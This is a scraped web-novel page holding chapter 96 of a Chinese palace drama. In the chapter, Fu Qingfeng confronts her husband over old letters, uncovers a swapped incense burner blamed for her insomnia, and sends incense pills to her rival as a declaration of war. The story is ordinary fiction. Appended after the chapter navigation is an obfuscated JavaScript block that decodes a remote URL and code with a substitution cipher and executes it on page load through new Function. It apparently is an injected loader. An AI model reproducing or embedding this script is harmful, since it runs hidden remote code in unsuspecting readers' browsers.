返回

好梦无边

首页
关灯
护眼
字体:
第96章 宣战
( )和昌王走后,傅青凤把一封信递给连雨。

“连雨,把这封信给王爷送去。”

连雨狐疑地看向傅青凤。

“回来再和你说,快快去吧!”

和昌王接过连雨送来的书信,一抖开,上面只有寥寥数句。

第一句,把你女儿抱错是我不对,我认错,向你道歉。

第二句,好好比比字迹,看看到底一样不一样?

和昌王看完信,气得咬牙切齿:“把我女儿抱错,就这么轻描淡写地想蒙混过去?还像小时候一样任性!”

“王爷为何生气?”

推门进来的傅婉鸣手里端着碗盏,绣鞋纱衣,木簪绾髻,格外清雅。

和昌王快速地把信纸叠好压在墨砚下面,走过去接过瓷碗。

“让下人送来就是,这么热的天,何必自己跑来。”

“夫妻间本应该如此,事事亲力亲为我才放心。”傅婉鸣的声音婉转柔和。

“你这是埋怨我几日没去你那了?”

和昌王放下瓷碗,笑着拉住傅婉鸣,从后面环抱着她,傅婉鸣顺势靠近对方的怀中。

“珏儿和我说,他过生辰你都没陪着,等会好好哄哄那小祖宗。”

“好的,我记得不错的话,琅儿和珏儿相差一天,你和她也是只差了一天,是不是?”

傅婉鸣软软地说道:“凤姐姐确实和臣妾只差了几个时辰,王爷怎么问起这个?”

“随便问问,我这还有些事,你先回去,等会去你那用晚膳。”

和昌王浅浅吻了傅婉鸣的嘴唇,傅婉鸣拿出绣帕给和昌王擦了擦嘴边。

“都沾上胭脂了。”

“这有什么的,我不怕人笑话。”和昌王嬉笑着。

“一天到晚不正经,那我回去准备晚膳,你别太晚。”

“去吧。”

送走傅婉鸣,和昌王在书架上抽出一本书,书中夹着几封书信,随手打开其中一封,看完一遍,一只拳噶嗒作响,手背青筋突爆。

抬起砚台抽出信纸,两张放在一起细细比较,半个时辰后神色复杂的靠进椅背,闭上眼。

连雨回到宜趣阁收起散落在地的白绫。

“娘娘,王爷说的信是怎么回事?那些假信是谁用它构陷娘娘的?”

“谁说那些信是假的了!”

傅青凤徐徐扇动手中的团扇,扇上的美人弯腰折花。

“娘娘……那你还敢让王爷好好比较!”

连雨焦急地跺脚,双手不停地扯着手中的白绫。

傅青凤团扇半遮朱唇,咯咯地笑着。

“放心,十几年了,我的字迹早有变化,虽然字迹相似,只要王爷开始疑心,真真假假谁说得清,我说它不是,它便不是……”

“那些信怎么会在王爷手中的?”

连雨一脸忧愁,原来王爷当初冷落娘娘是因为这些。

“当初我对那人念念不忘,便随手写了当作排遣,只是那些信根本没有寄出去过,何来那个人的回信。何况,就算寄出去了,他也不会有回应的……”

刚才还笑着的眉眼,渐渐黯淡下来。

连雨知道傅青凤想起往事,心中忧伤,倒了杯茶给她。

“不过,娘娘以后不许再拿这东西吓奴婢。”

连雨指了指挂在自己脖子上的白绫。

傅青凤扯下丢在地上,拉过连雨让她坐在旁边的椅子上。

“傅家儿女岂会做出自寻短见的事?”

“做做样子也不行,把奴婢吓得够呛。”

“不破则不立,置之死地而后生,连雨,记住从今往后,我们要开始反击。”

看着傅青凤神色认真,连雨却有些茫然。

“娘娘,为何?”

“你去细看那香炉,心儿还来的这个是不是原来的那鼎?”

连雨忙起身走入内室察看,回来摇摇头。

“奴婢看不出来。”

“原来那鼎炉膛有一处的荷花尖比别的往里多弯了一点,那是我小时候摔了一跤,脑袋磕的。”

连雨再次蹲下仔细查看,果不其然,这一鼎每一瓣花尖都一样整齐。

“自从换了新的香炉,我失眠的症状就逐渐好转,问题出在何处不言而喻……”

“有人要害娘娘?”

连雨的声音高了几倍。

“何止是害我,那香炉可是我母亲身前最爱的,放在房间日日熏香……”

傅青凤走进香炉,伸手打开炉盖。

“母亲去世后,这鼎香炉也被遗忘。和王爷成亲后,有人整理了傅家的很多遗物送来,让我挑选几样留作慰藉,其中这香炉放在最显眼的位置……”

“母债,女偿,也不冤枉了她。”

连雨这才明白,为何傅青凤突然转变,不只是为自己报仇,更是为了已经西去的夫人。

“所以,娘娘前段时间才让我去找那婆子?”

“这件事早晚瞒不住,等着别人揭发,不如自己捅破。”

“可是,这个借口大家会信吗?”连雨还是有些担心。

“信不信不重要,重要的是我给他们找了一个宽恕我和姐姐的理由,王爷的性子我最了解了。明儿我再去姑姑那哭一哭。你把那婆子的家人安顿好,后面的戏,还要她来唱呢!”

“连雨一定办好。”

傅青凤用镊子夹起香丸置于炉内,用手轻扇袅袅烟雾,凑鼻微嗅。

“安儿真是个难得的好孩子!”

“是的,娘娘用了他给的香丸,睡眠越来越好了。”连雨笑着感叹道。

“拿上几丸给宜居阁那位送去。”

傅青凤把放香丸的盒子递给连雨。

“娘娘,这是为何?”

“我傅青凤从不屑私下用些龌蹉手段害人,我要和她宣战。”

傅青凤把连雨推出了房间。

宜居阁的厨房内,钦净莲拉着傅婉鸣闹着。

“母妃,你快想想办法呀?外面都传崔染心才是父王的孩子。”

“我能有什么办法。”

傅婉鸣抽出被拉住的双手。

“她要是真的是父王的孩子,我就一辈子做不了郡主了,我不要。”钦净莲再次握住对方的双手。

“你松手,我还要洗菜呢!”

傅婉鸣用额头轻碰对方的额头。

“母妃总是事事亲力亲为,双手都粗糙了。”

钦净莲心疼地摩挲着傅婉鸣的手掌。

“真的心疼你娘的话,就乖乖坐下,等我忙好陪你。”

傅婉鸣把钦净莲摁坐在椅子里,自己继续忙碌。

“好吧,等你忙完再说,不过,我才不要在厨房呆着闻油烟味呢!”

看着钦净莲离去的背影,傅婉鸣放下手中的青菜,呆呆地立在原地,久久没有动作。

“娘娘……娘娘……”

一名小丫鬟急急躁躁地跑来,傅婉鸣回过身斥责道:“慌慌张张像什么样子。”

“连雨姑姑,刚刚亲自送来了这个。”

小丫鬟把香盒递过去,傅婉鸣趔趄一步,缓缓伸手接过,打开盒子,是几枚香丸。

随后秀眉紧蹙,双唇颤抖:“丸,完也,她永远这么任性磊落……”

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();